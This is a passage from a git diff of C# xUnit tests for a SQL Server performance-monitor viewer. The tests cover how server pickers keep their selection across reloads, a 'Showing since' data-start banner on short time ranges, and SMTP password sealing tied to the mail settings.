+            var (published, state) = await viewer.GetPublishedPasswordKeyAsync(ct);
+            var decision = ViewerPasswordKey.Evaluate(published, state, viewer.StoreConnectionIdentity, new ViewerPasswordKeyPins(Path.Combine(directory, "pins.json")));
+
+            Assert.Null(decision.Key);
+            Assert.Contains("The key file was not found.", decision.Refusal, StringComparison.Ordinal);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => await Task.CompletedTask);
+            await scratch.DisposeAsync();
+            try { Directory.Delete(directory, recursive: true); } catch { /* best-effort */ }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerServerSetSyncTests.cs b/Darling/Darling.Tests/ViewerServerSetSyncTests.cs
index 21bbc431fa..8b66c1800e 100644
--- a/Darling/Darling.Tests/ViewerServerSetSyncTests.cs
+++ b/Darling/Darling.Tests/ViewerServerSetSyncTests.cs
@@ -33,6 +33,12 @@ namespace Darling.Tests;
 /// local add or remove ends with, a server removed elsewhere gets the local remove's own cleanup, and every
 /// surface that lists servers reads the fleet that reload rebuilds. The behavior tests drive the comparer
 /// that decides whether to reload at all, against a real <c>FleetView</c>, and count the reloads.</para>
+///
+/// <para><b>The pickers keep their servers.</b> The reload also rebuilds the Recommendations and FinOps tabs'
+/// own server pickers, and the favorites re-sort rebuilds the sidebar. Neither is the user choosing a server,
+/// so each picker keeps its server while that server exists. Only a picker whose server is gone falls back
+/// to the sidebar's server, as on a fresh load. Every reload runs this path: a local add, edit or remove, and
+/// the sync above, all through <c>LoadServersAsync(preserveSelection: true)</c>.</para>
 /// </summary>
 public sealed class ViewerServerSetSyncTests
 {
@@ -164,7 +170,11 @@ public void EverySurfaceThatListsServers_ReadsTheFleetTheReloadRebuilds()
 
         Assert.Matches(@"\bservers\s*=\s*_fleet\s*\.\s*All\b", overview);
         Assert.Matches(@"\blist\s*=\s*servers\s*\.\s*ToList\s*\(", overview);
-        Assert.Matches(@"totalServerCount\s*:\s*list\s*\.\s*Count\b", overview);
+        /* The roll-up goes through OverviewCardView.BuildRollup (the Overview search narrows it, D9): its registered
+           count is still list.Count, and the count a search-box change rebuilds the roll-up with (the
+           _overviewRegisteredCount field) is stored from that same list.Count. */
+        Assert.Matches(new Regex(@"\bBuildRollup\s*\([^;]*,\s*list\s*\.\s*Count\s*,", RegexOptions.Singleline), overview);
+        Assert.Matches(@"\b_overviewRegisteredCount\s*=\s*list\s*\.\s*Count\b", overview);
 
         /* The database state editor lists the servers Settings was handed, and Settings is handed the fleet
            when it opens, so an editor opened after the reload lists the reloaded set. */
@@ -178,6 +188,140 @@ public void EverySurfaceThatListsServers_ReadsTheFleetTheReloadRebuilds()
         Assert.Matches(@"new\s+DatabaseStateOverridesWindow\s*\(\s*_dataService\s*,\s*_servers\s*\)", settings);
     }
 
+    [Fact]
+    public void Reload_RebuildsTheRecommendationsPicker_KeepingItsServerById()
+    {
+        var load = MethodBody("MainWindow.xaml.cs", "LoadServersAsync");
+
+        /* The old rebuild went back to the first server by index, whatever the picker showed. */
+        Assert.DoesNotMatch(@"RecommendationsServerSelector\s*\.\s*SelectedIndex\s*=", load);
+
+        var previous = Regex.Match(load, @"RecommendationsServerSelector\s*\.\s*SelectedItem\s+as\s+DarlingServer\b");
+        var rebuild = Regex.Match(load, @"RecommendationsServerSelector\s*\.\s*ItemsSource\s*=");
+
+        Assert.True(
+            previous.Success && rebuild.Success && previous.Index < rebuild.Index,
+            "LoadServersAsync must read the picker's server before it rebuilds the picker's list");
+        Assert.Matches(
+            @"RecommendationsServerSelector\s*\.\s*SelectedItem\s*=\s*ViewerServerSetSync\s*\.\s*PickerSelectionAfterReload\s*\(",
+            load);
+    }
+
+    [Fact]
+    public void Reload_AndTheFavoritesResort_RestoreTheSidebar_WithoutMovingThePickers()
+    {
+        foreach (var (file, method) in new[]
+                 {
+                     ("MainWindow.xaml.cs", "LoadServersAsync"),
+                     ("MainWindow.ServerManagement.cs", "ReapplyFavoritesToServerList"),
+                 })
+        {
+            var body = MethodBody(file, method);
+
+            Assert.Matches(@"\bRestoreSidebarSelection\s*\(", body);
+            Assert.DoesNotMatch(@"ServerList\s*\.\s*SelectedItem\s*=", body);
+        }
+
+        /* An unguarded restore runs ServerList_SelectionChanged, and that moves both pickers to the
+           sidebar's server: SyncAggregateServerSelectors. */
+        var restore = MethodBody("MainWindow.xaml.cs", "RestoreSidebarSelection");
+        var guard = Regex.Match(restore, @"_suppressSidebarSelection\s*=\s*true\b");
+        var select = Regex.Match(restore, @"ServerList\s*\.\s*SelectedItem\s*=");
+
+        Assert.True(
+            guard.Success && select.Success && guard.Index < select.Index,
+            "RestoreSidebarSelection must set the sidebar's selection under _suppressSidebarSelection");
+        Assert.DoesNotMatch(@"\bSyncAggregateServerSelectors\s*\(", restore);
+
+        /* The guard also skips the handler's reload of the visible tab, so the restore runs it. */
+        Assert.Matches(@"\bRefreshVisibleAsync\s*\(", restore);
+    }
+
+    [Fact]
+    public void FinOpsPicker_KeepsItsServer_AndFallsBackToTheSidebarsServer_AtBothOfItsRebuilds()
+    {
+        var setServers = MethodBody("FinOpsTab.xaml.cs", "SetServers");
+
+        Assert.Matches(
+            @"ServerSelector\s*\.\s*SelectedItem\s*=\s*FinOpsServerChoice\s*\.\s*Selection\s*\(",
+            setServers);
+
+        /* The reload hands it the list, and so does the FinOps tab when it opens. Both pass the sidebar's
+           server, for the fallback. */
+        var shell = Stripped("MainWindow.xaml.cs");
+        var calls = Regex.Matches(shell, @"FinOpsContent\s*\.\s*SetServers\s*\(");
+
+        Assert.Equal(2, calls.Count);
+        foreach (Match call in calls)
+        {
+            var open = call.Index + call.Length - 1;
+            var arguments = shell[open..(ClosingParen(shell, open) + 1)];
+
+            Assert.Matches(@",\s*[^,]*ServerId\b", arguments);
+        }
+    }
+
+    [Fact]
+    public void Reload_ReadsTheServersItKeeps_AfterItsAwait()
+    {
+        var load = MethodBody("MainWindow.xaml.cs", "LoadServersAsync");
+
+        /* A change made while the server list loads is the user's latest choice. Read before the await, the
+           reload put back the server that the sidebar or the picker showed when the load began. */
+        var loaded = Regex.Match(load, @"\bawait\s+_dataService\s*\.\s*GetManagedServersAsync\s*\(");
+        var rebind = Regex.Match(load, @"ServerList\s*\.\s*ItemsSource\s*=");
+
+        Assert.True(loaded.Success && rebind.Success, "LoadServersAsync must await the server list, then rebind the sidebar");
+
+        foreach (var (what, pattern) in new[]
+                 {
+                     ("the sidebar's server", @"ServerList\s*\.\s*SelectedItem\s+as\s+FleetServerRow\b"),
+                     ("the Recommendations picker's server", @"RecommendationsServerSelector\s*\.\s*SelectedItem\s+as\s+DarlingServer\b"),
+                 })
+        {
+            var read = Regex.Match(load, pattern);
+
+            Assert.True(
+                read.Success && loaded.Index < read.Index && read.Index < rebind.Index,
+                $"LoadServersAsync must read {what} after its await and before it rebinds the sidebar");
+        }
+    }
+
+    [Fact]
+    public void EverySidebarSelectionWrite_RunsUnderTheSuppressionGuard()
+    {
+        /* An unguarded write runs ServerList_SelectionChanged, and that moves both pickers to the sidebar's
+           server. Each write must follow a "_suppressSidebarSelection = true" with no "= false" between them, as
+           RestoreSidebarSelection does. */
+        var viewer = Path.GetDirectoryName(ViewerPath("MainWindow.xaml.cs"))!;
+        var writes = 0;
+        var unguarded = new List<string>();
+
+        foreach (var path in Directory.EnumerateFiles(viewer, "*.cs", SearchOption.AllDirectories)
+                     .Where(path => !path.Contains($"{Path.DirectorySeparatorChar}bin{Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                                    && !path.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal)))
+        {
+            var code = CSharpSourceWalker.StripCommentsAndStrings(File.ReadAllText(path));
+            var toggles = Regex.Matches(code, @"\b_suppressSidebarSelection\s*=\s*(?<on>true|false)\b");
+
+            foreach (Match write in Regex.Matches(code, @"\bServerList\s*\.\s*Selected(?:Item|Index|Value)\s*=(?!=)"))
+            {
+                writes++;
+
+                var last = toggles.LastOrDefault(toggle => toggle.Index < write.Index);
+
+                if (last is null || last.Groups["on"].Value != "true")
+                {
+                    var line = code.AsSpan(0, write.Index).Count('\n') + 1;
+                    unguarded.Add($"{Path.GetFileName(path)}:{line}");
+                }
+            }
+        }
+
+        Assert.True(writes > 0, "the scan found no sidebar selection write, so its pattern no longer matches the viewer");
+        Assert.True(unguarded.Count == 0, "a sidebar selection write outside the guard: " + string.Join(", ", unguarded));
+    }
+
     // ── Behavior: the comparer against a real FleetView, counting the reloads ──────────────────────
 
     [Fact]
@@ -275,6 +419,48 @@ public async Task OneServerSwappedForAnother_SameCount_StillReloads()
         Assert.Equal(1, tick.SelectedId);
     }
 
+    // ── Behavior: the server each picker shows after a rebuild ──────────────────────────────────────
+
+    [Fact]
+    public void Picker_KeepsItsServer_WhileItExists_WhereverTheSidebarIs()
+    {
+        var servers = new[] { Server(1, "SQL01"), Server(2, "SQL02"), Server(3, "SQL03") };
+
+        var picked = ViewerServerSetSync.PickerSelectionAfterReload(servers, previousServerId: 2, sidebarServerId: 1);
+
+        Assert.Equal(2, picked?.ServerId);
+    }
+
+    [Fact]
+    public void Picker_WhoseServerWasRemoved_FollowsTheSidebar_AsOnAFreshLoad()
+    {
+        var servers = new[] { Server(1, "SQL01"), Server(3, "SQL03") };
+
+        var picked = ViewerServerSetSync.PickerSelectionAfterReload(servers, previousServerId: 2, sidebarServerId: 3);
+
+        Assert.Equal(3, picked?.ServerId);
+    }
+
+    [Fact]
+    public void FreshLoad_StartsThePicker_OnTheSidebarsServer()
+    {
+        var servers = new[] { Server(1, "SQL01"), Server(2, "SQL02") };
+
+        var picked = ViewerServerSetSync.PickerSelectionAfterReload(servers, previousServerId: null, sidebarServerId: 2);
+
+        Assert.Equal(2, picked?.ServerId);
+    }
+
+    [Fact]
+    public void NothingToKeepOrFollow_TakesTheFirstServer_AndAnEmptyListSelectsNothing()
+    {
+        var servers = new[] { Server(1, "SQL01"), Server(3, "SQL03") };
+
+        Assert.Equal(1, ViewerServerSetSync.PickerSelectionAfterReload(servers, previousServerId: 2, sidebarServerId: null)?.ServerId);
+        Assert.Equal(1, ViewerServerSetSync.PickerSelectionAfterReload(servers, previousServerId: 2, sidebarServerId: 9)?.ServerId);
+        Assert.Null(ViewerServerSetSync.PickerSelectionAfterReload(Array.Empty<DarlingServer>(), previousServerId: 2, sidebarServerId: 1));
+    }
+
     private static DarlingServer Server(int id, string name) =>
         new(id, name, name, isEnabled: true, sqlMajorVersion: 16);
 
diff --git a/Darling/Darling.Tests/ViewerServerTabCapabilityPinTests.cs b/Darling/Darling.Tests/ViewerServerTabCapabilityPinTests.cs
index 140e6f7abc..155e3f7276 100644
--- a/Darling/Darling.Tests/ViewerServerTabCapabilityPinTests.cs
+++ b/Darling/Darling.Tests/ViewerServerTabCapabilityPinTests.cs
@@ -32,6 +32,7 @@ namespace Darling.Tests;
 /// <c>PM_PIN_REGEN=1</c>. Text-scans SOURCE (XAML + .cs) located from this file's compile-time path — NO WPF
 /// / Npgsql / assembly load, like the other Darling parity pins (see <c>ThemeCompletenessTests</c>).
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ViewerServerTabCapabilityPinTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/ViewerSettingsFileGuardTests.cs b/Darling/Darling.Tests/ViewerSettingsFileGuardTests.cs
index 32b73b2237..5733c4a130 100644
--- a/Darling/Darling.Tests/ViewerSettingsFileGuardTests.cs
+++ b/Darling/Darling.Tests/ViewerSettingsFileGuardTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// <para>So the pins below come in pairs — what the store now SAYS about each of the three states, and what
 /// it leaves on disk. The second is the one that turns an annoyance into data loss.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ViewerSettingsFileGuardTests : IDisposable
 {
     /// <summary>A viewer-settings.json a user would recognize: real keys, one trailing comma.</summary>
diff --git a/Darling/Darling.Tests/ViewerShortWindowDataStartTests.cs b/Darling/Darling.Tests/ViewerShortWindowDataStartTests.cs
new file mode 100644
index 0000000000..cad0bbd0be
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerShortWindowDataStartTests.cs
@@ -0,0 +1,249 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The "Showing since" notice on a range of an hour or less (#4966). The 90-minute slack belongs to the coverage probe alone, where it
+/// absorbs a first collection that lands a little after the window starts: a window no longer than the slack can never get a coverage
+/// note, so its probe starts no query. A read that filled its row cap dropped rows for certain, so its verdict has no slack: on a short
+/// range the banner shows whenever the oldest row shown is later than the window's start.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerShortWindowDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private const int Cap = ViewerDataService.PlanCorrectionsRowCap;
+
+    /* A store nothing listens on: a probe that starts a query against it fails, one that does not returns at once. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private static DateTime At(int minutes) => RangeStart.AddMinutes(minutes);
+
+    /* A page of `count` rows 10 seconds apart from `oldest`: 200 of them span 33 minutes, so a page that starts inside the first
+       half hour of a one-hour range stays inside it. */
+    private static IEnumerable<DateTime> Page(DateTime oldest, int count) => Enumerable.Range(0, count).Select(i => oldest.AddSeconds(10 * i));
+
+    // ── A capped verdict gets no slack ──
+
+    /* A capped read on a one-hour range whose oldest row came 20 minutes in: the grid reaches back no further, so the banner names that
+       row. Before, the slack hid it, and on a range this short no row could ever sit past it. */
+    [Fact]
+    public void ACappedRead_OnAOneHourRange_NamesItsOldestRow_WhenItIsLaterThanTheStart()
+    {
+        Assert.Equal("Showing since 2026-09-01 00:20:00", BannerFor(coverageStartUtc: null, Page(At(20), Cap), Cap));
+        /* The same rows with a coverage answer that reaches the range start: the cap is what names the row. */
+        Assert.Equal("Showing since 2026-09-01 00:20:00", BannerFor(At(-600), Page(At(20), Cap), Cap));
+    }
+
+    /* A capped read whose oldest row is at the window's start reaches the start: no banner. */
+    [Fact]
+    public void ACappedRead_WhoseOldestRowIsAtTheStart_ShowsNoBanner()
+    {
+        Assert.Null(BannerFor(coverageStartUtc: null, Page(At(0), Cap), Cap));
+        Assert.Null(BannerFor(At(-600), Page(At(0), Cap), Cap));
+    }
+
+    /* The note names its time to the second. A capped read has no slack, so a read whose oldest row came 42 seconds into the range's
+       first minute shows a banner, and a note in whole minutes would print the range's own start minute for it (10:15 for a range from
+       10:15:00), which reads as if the grid started at the range's start. */
+    [Fact]
+    public void ACappedRead_WhoseOldestRowIsSecondsPastTheStart_NamesTheSecond_NotTheStartsMinute()
+    {
+        var rangeStart = new DateTime(2026, 9, 1, 10, 15, 0, DateTimeKind.Utc);
+        var oldest = rangeStart.AddSeconds(42);
+
+        Assert.Equal("Showing since 2026-09-01 10:15:42", BannerFor(coverageStartUtc: null, Page(oldest, Cap), Cap, rangeStart));
+        /* Under a coverage answer that reaches the start, the cap still names the row, to the second. */
+        Assert.Equal("Showing since 2026-09-01 10:15:42", BannerFor(rangeStart.AddHours(-10), Page(oldest, Cap), Cap, rangeStart));
+    }
+
+    /* A read under its cap keeps its verdict, and the slack stays on the coverage probe: a first collection 85 minutes in is
+       absorbed, one 95 minutes in is named. */
+    [Fact]
+    public void TheSlack_StaysOnTheCoverageProbe()
+    {
+        Assert.Null(BannerFor(At(85), Page(At(86), 3), Cap));
+        Assert.Equal("Showing since 2026-09-01 01:35:00", BannerFor(At(95), Page(At(96), 3), Cap));
+        /* A page one row under the cap is not capped. */
+        Assert.Null(BannerFor(coverageStartUtc: null, Page(At(20), Cap - 1), Cap));
+    }
+
+    // ── A window no longer than the slack starts no probe ──
+
+    /* Every window of an hour up to the slack itself returns at once, with no query against a store nothing listens on; one minute over
+       the slack starts the query, which fails there. */
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task AWindowNoLongerThanTheSlack_StartsNoProbe_AgainstNoStore(int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var source = NpgsqlDataSource.Create(UnreachableStore);
+
+        var answer = await DataWindowFloor.GetForServerAsync(
+            source, DataWindowFloor.Source.ForCollectorTable("plan_correction"), 1, RangeStart, RangeStart.AddMinutes(minutes), 3, ct);
+
+        Assert.Null(answer);
+    }
+
+    [Fact]
+    public async Task AWindowOneMinuteOverTheSlack_StartsItsProbe_AgainstNoStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var source = NpgsqlDataSource.Create(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => DataWindowFloor.GetForServerAsync(
+            source, DataWindowFloor.Source.ForCollectorTable("plan_correction"), 1, RangeStart, RangeStart.AddMinutes(91), 3, ct));
+    }
+
+    /* The tab's own probes go through the shared form, so each skips a one-hour window; the Regressions probe asks about the baseline
+       window, 7 days before the range, so a one-hour range still starts its probe. */
+    [Fact]
+    public async Task TheTabsProbes_SkipAOneHourWindow_AgainstNoStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+        var end = RangeStart.AddHours(1);
+
+        Assert.Null(await viewer.GetPlanCorrectionsDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetQueryHeatmapDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetBlockedProcessReportsDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetDeadlocksDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetLongQueriesDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetSystemHealthEventsDataStartAsync(1, RangeStart, end, ct));
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetQueryStoreRegressionsDataStartAsync(1, RangeStart, end, ct));
+    }
+
+    // ── The Queries tab's three floor probes ──
+
+    /* One of the Queries tab's three raw-table floor probes, by the table it reads, asked through the viewer's own method. */
+    private static Task<DateTime?> QueriesTabFloorAsync(ViewerDataService viewer, string table, DateTime startUtc, DateTime endUtc, CancellationToken ct) => table switch
+    {
+        "query_stats" => viewer.GetQueryStatsWindowFloorAsync(1, startUtc, endUtc, ct),
+        "procedure_stats" => viewer.GetProcedureStatsWindowFloorAsync(1, startUtc, endUtc, ct),
+        "query_store_stats" => viewer.GetQueryStoreWindowFloorAsync(1, startUtc, endUtc, ct),
+        _ => throw new ArgumentOutOfRangeException(nameof(table), table, "not one of the Queries tab's floor probes"),
+    };
+
+    /* The same three reads as Darling's MCP tools make them, through DarlingDataReader and the shared probe. */
+    private static Task<DateTime?> McpFloorAsync(NpgsqlDataSource source, string table, DateTime startUtc, DateTime endUtc, CancellationToken ct) => table switch
+    {
+        "query_stats" => DarlingDataReader.GetQueryStatsWindowFloorAsync(source, 1, startUtc, endUtc, ct),
+        "procedure_stats" => DarlingDataReader.GetProcedureStatsWindowFloorAsync(source, 1, startUtc, endUtc, ct),
+        "query_store_stats" => DarlingDataReader.GetQueryStoreWindowFloorAsync(source, 1, startUtc, endUtc, ct),
+        _ => throw new ArgumentOutOfRangeException(nameof(table), table, "not one of the MCP floor reads"),
+    };
+
+    /* The Query Stats, Procedure Stats and Query Store probes answer a window of an hour up to the slack itself at once, with no
+       query against a store nothing listens on: the answer sits at or before the window's end, so no coverage note can show for it. */
+    [Theory]
+    [InlineData("query_stats", 60)]
+    [InlineData("query_stats", 90)]
+    [InlineData("procedure_stats", 60)]
+    [InlineData("procedure_stats", 90)]
+    [InlineData("query_store_stats", 60)]
+    [InlineData("query_store_stats", 90)]
+    public async Task AQueriesTabFloorProbe_OverAWindowNoLongerThanTheSlack_StartsNoQuery_AgainstNoStore(string table, int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        Assert.Null(await QueriesTabFloorAsync(viewer, table, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    /* One minute over the slack starts the query, which fails against that store: the skip stops at the slack. */
+    [Theory]
+    [InlineData("query_stats")]
+    [InlineData("procedure_stats")]
+    [InlineData("query_store_stats")]
+    public async Task AQueriesTabFloorProbe_OneMinuteOverTheSlack_StartsItsQuery_AgainstNoStore(string table)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => QueriesTabFloorAsync(viewer, table, RangeStart, RangeStart.AddMinutes(91), ct));
+    }
+
+    /* Darling's MCP tools read the same shared probe's null as "nothing was read", so the skip is the viewer's alone: an MCP floor
+       read over a short window still queries the store, and fails against one nothing listens on. */
+    [Theory]
+    [InlineData("query_stats", 60)]
+    [InlineData("query_stats", 90)]
+    [InlineData("procedure_stats", 60)]
+    [InlineData("procedure_stats", 90)]
+    [InlineData("query_store_stats", 60)]
+    [InlineData("query_store_stats", 90)]
+    public async Task AnMcpFloorRead_OverAWindowNoLongerThanTheSlack_StillQueriesTheStore_AgainstNoStore(string table, int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var source = NpgsqlDataSource.Create(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => McpFloorAsync(source, table, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    /* Every floor read the Queries tab makes, three loads and three slicer re-reads of a sub-range, goes through those viewer
+       methods, so each carries the skip; none reaches the shared probe on its own. */
+    [Fact]
+    public void EveryQueriesTabFloorRead_GoesThroughTheViewersMethod_NeverTheSharedProbe()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(RepoFile.PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+        foreach (var method in new[] { "GetQueryStatsWindowFloorAsync", "GetProcedureStatsWindowFloorAsync", "GetQueryStoreWindowFloorAsync" })
+        {
+            Assert.Equal(2, Regex.Matches(tabs, $@"_dataService\.{method}\(").Count);
+        }
+
+        Assert.DoesNotContain("RawWindowFloor.GetAsync(", tabs, StringComparison.Ordinal);
+    }
+
+    // ── The banner, read off the real control ──
+
+    /* The banner raised for the probe's answer and the rows the grid shows on the range that starts at startUtc (RangeStart when
+       omitted), read off the control; null when it is hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(DateTime? coverageStartUtc, IEnumerable<DateTime> shownTimes, int? rowCap, DateTime? startUtc = null)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverageStartUtc), "Short Window", startUtc ?? RangeStart, shownTimes.Select(t => (DateTime?)t), rowCap).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    /* WPF objects require STA; same shape as ViewerPlanCorrectionsDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerSlicerRangeLabelTests.cs b/Darling/Darling.Tests/ViewerSlicerRangeLabelTests.cs
index 9e9af1dca0..3638b17762 100644
--- a/Darling/Darling.Tests/ViewerSlicerRangeLabelTests.cs
+++ b/Darling/Darling.Tests/ViewerSlicerRangeLabelTests.cs
@@ -30,6 +30,7 @@ namespace Darling.Tests;
 /// must be Lite's call (same method, same instants, same format, so the same culture), and the text that call gives for
 /// the pair is checked on US Eastern (autumn change 2026-11-01 at 06:00 UTC).</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class ViewerSlicerRangeLabelTests
 {
     private static readonly ServerClock Eastern = ServerClock.Resolve("Eastern Standard Time", -300);
diff --git a/Darling/Darling.Tests/ViewerSmtpSealTests.cs b/Darling/Darling.Tests/ViewerSmtpSealTests.cs
new file mode 100644
index 0000000000..9b01c9da99
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerSmtpSealTests.cs
@@ -0,0 +1,314 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Viewer seals the SMTP password (#5366): it is sealed for the host, port, SSL flag and user name it is stored with,
+/// a blank password box keeps the saved value only while those four stay the same, and the service opens what the Viewer
+/// stored. The sentences never carry a password.
+/// </summary>
+public sealed class ViewerSmtpSealTests : IDisposable
+{
+    private const string Plain = "p@ss-not-real";
+
+    private readonly PasswordPrivateKey _key = PasswordPrivateKey.Generate();
+
+    public void Dispose() => _key.Dispose();
+
+    private static NotificationRow Row(
+        string host = "mail.example.test", int port = 587, bool ssl = true, string? username = "mailer", string? blob = "sealed:v1:stored") => new()
+    {
+        SmtpHost = host,
+        SmtpPort = port,
+        SmtpUseSsl = ssl,
+        SmtpUsername = username,
+        SmtpEncryptedPassword = blob,
+    };
+
+    /* ═══════════ the re-entry rule ═══════════ */
+
+    [Fact]
+    public void ABlankPassword_WithAChangedHost_IsRefused_WithTheReenterSentence()
+    {
+        var action = ViewerSmtpSeal.Decide(Row(), null, Row(host: "other-mail.example.test"), "");
+
+        Assert.Equal(ViewerSmtpPasswordAction.Refuse, action);
+        Assert.Equal("Changing how mail is sent needs the SMTP password again.", ViewerSmtpSeal.ReenterText);
+    }
+
+    [Theory]
+    [InlineData("port")]
+    [InlineData("ssl")]
+    [InlineData("username")]
+    [InlineData("username-cleared")]
+    public void ABlankPassword_WithAnyOtherChangedBoundValue_IsRefused(string changed)
+    {
+        var edited = changed switch
+        {
+            "port" => Row(port: 465),
+            "ssl" => Row(ssl: false),
+            "username" => Row(username: "someone-else"),
+            _ => Row(username: null),
+        };
+
+        Assert.Equal(ViewerSmtpPasswordAction.Refuse, ViewerSmtpSeal.Decide(Row(), null, edited, ""));
+        Assert.Equal(ViewerSmtpPasswordAction.Refuse, ViewerSmtpSeal.Decide(Row(), null, edited, null));
+    }
+
+    [Fact]
+    public void ABlankPassword_WithNothingChanged_KeepsTheSavedValue_AndAnEmptyUsernameIsTheSameAsNone()
+    {
+        Assert.Equal(ViewerSmtpPasswordAction.Keep, ViewerSmtpSeal.Decide(Row(), null, Row(), ""));
+        Assert.Equal(ViewerSmtpPasswordAction.Keep, ViewerSmtpSeal.Decide(Row(username: null), null, Row(username: ""), ""));
+    }
+
+    [Fact]
+    public void ABlankPassword_WithAChangedHost_IsFine_WhenNoPasswordIsSaved()
+    {
+        Assert.Equal(ViewerSmtpPasswordAction.Keep, ViewerSmtpSeal.Decide(Row(blob: null), null, Row(blob: null, host: "other-mail.example.test"), ""));
+        Assert.Equal(ViewerSmtpPasswordAction.Keep, ViewerSmtpSeal.Decide(Row(blob: ""), null, Row(blob: "", port: 25), ""));
+    }
+
+    [Fact]
+    public void ATypedPassword_IsSealed_WhateverChanged()
+    {
+        Assert.Equal(ViewerSmtpPasswordAction.Seal, ViewerSmtpSeal.Decide(Row(), null, Row(), Plain));
+        Assert.Equal(ViewerSmtpPasswordAction.Seal, ViewerSmtpSeal.Decide(Row(), null, Row(host: "other-mail.example.test"), Plain));
+        Assert.Equal(ViewerSmtpPasswordAction.Seal, ViewerSmtpSeal.Decide(Row(blob: null), null, Row(blob: null), Plain));
+    }
+
+    [Fact]
+    public void AValueThatThisMachineCouldRead_AndIsLeftAlone_IsNotSealedAgain_UnlessTheSettingsChanged()
+    {
+        Assert.Equal(ViewerSmtpPasswordAction.Keep, ViewerSmtpSeal.Decide(Row(blob: "old-format"), Plain, Row(blob: "old-format"), Plain));
+        Assert.Equal(ViewerSmtpPasswordAction.Seal, ViewerSmtpSeal.Decide(Row(blob: "old-format"), Plain, Row(blob: "old-format", port: 25), Plain));
+        Assert.Equal(ViewerSmtpPasswordAction.Seal, ViewerSmtpSeal.Decide(Row(blob: "old-format"), Plain, Row(blob: "old-format"), Plain + "x"));
+    }
+
+    /* ═══════════ the seal ═══════════ */
+
+    [Fact]
+    public void ASealedSmtpPassword_OpensForItsOwnFourValues_AndNotAfterAnyOfThemChanges()
+    {
+        var sealer = new ViewerPasswordSealer(_key.PublicKey);
+
+        var sealedText = sealer.SealSmtp(Plain, "mail.example.test", 587, true, "mailer");
+
+        Assert.StartsWith("sealed:v1:", sealedText, StringComparison.Ordinal);
